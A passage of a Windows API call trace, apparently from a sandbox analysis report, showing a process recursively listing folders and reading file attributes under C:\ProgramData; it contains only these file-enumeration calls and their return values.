lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", lpFilePart=0x0) returned 0x26 [0070.675] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.675] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.675] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.675] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.675] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.675] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.676] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.676] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.676] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.676] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.676] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.676] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM", lpFilePart=0x0) returned 0x18 [0070.676] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.676] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.676] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.676] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.676] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe", lpFilePart=0x0) returned 0x14 [0070.677] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8a40 [0070.677] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.677] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.677] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.677] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0070.677] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0070.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0070.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Application Data", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Application Data", lpFilePart=0x0) returned 0x1f [0070.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0070.677] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Application Data" (normalized: "c:\\programdata\\application data"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0070.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Application Data", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Application Data", lpFilePart=0x0) returned 0x1f [0070.678] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0070.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0070.679] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Desktop", lpFilePart=0x0) returned 0x16 [0070.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0070.679] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Desktop" (normalized: "c:\\programdata\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0070.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.679] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Desktop", lpFilePart=0x0) returned 0x16 [0070.679] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0070.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0070.680] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Documents", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Documents", lpFilePart=0x0) returned 0x18 [0070.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0070.680] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Documents" (normalized: "c:\\programdata\\documents"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0070.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.680] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Documents", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Documents", lpFilePart=0x0) returned 0x18 [0070.680] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0070.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0070.681] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Favorites", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Favorites", lpFilePart=0x0) returned 0x18 [0070.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0070.681] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Favorites" (normalized: "c:\\programdata\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0070.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.681] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Favorites", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Favorites", lpFilePart=0x0) returned 0x18 [0070.681] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0070.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0070.682] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard", lpFilePart=0x0) returned 0x17 [0070.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0070.682] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Keyboard" (normalized: "c:\\programdata\\keyboard"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe17625a0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe18b9200, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe18b9200, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0070.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.682] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard", lpFilePart=0x0) returned 0x17 [0070.682] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Keyboard\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8a40 [0070.682] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.682] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.682] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0070.682] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0070.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0070.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.683] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard", lpFilePart=0x0) returned 0x17 [0070.683] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Keyboard\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8a40 [0070.683] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.683] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.683] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0070.683] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0070.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0070.683] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft", lpFilePart=0x0) returned 0x18 [0070.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0070.683] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft" (normalized: "c:\\programdata\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x90298a90, ftLastAccessTime.dwHighDateTime=0x1d3060f, ftLastWriteTime.dwLowDateTime=0x90298a90, ftLastWriteTime.dwHighDateTime=0x1d3060f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0070.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.683] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft", lpFilePart=0x0) returned 0x18 [0070.683] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8a40 [0070.683] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.683] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.683] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.684] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0070.684] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0070.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0070.684] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0070.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.685] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance" (normalized: "c:\\programdata\\microsoft\\assistance"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.685] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0070.685] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.685] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.685] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.685] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.685] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.685] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0070.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.685] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client" (normalized: "c:\\programdata\\microsoft\\assistance\\client"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.686] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0070.686] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.686] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.686] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.686] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.686] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.686] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0070.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0070.686] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0070.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.686] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0070.686] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.686] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.686] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.686] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.687] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.687] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0070.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0070.687] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0070.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0070.687] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0070.687] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8a40 [0070.698] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.698] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.698] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.698] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.698] FindNextFileW (in: hFindFile=0x6fd8a40, 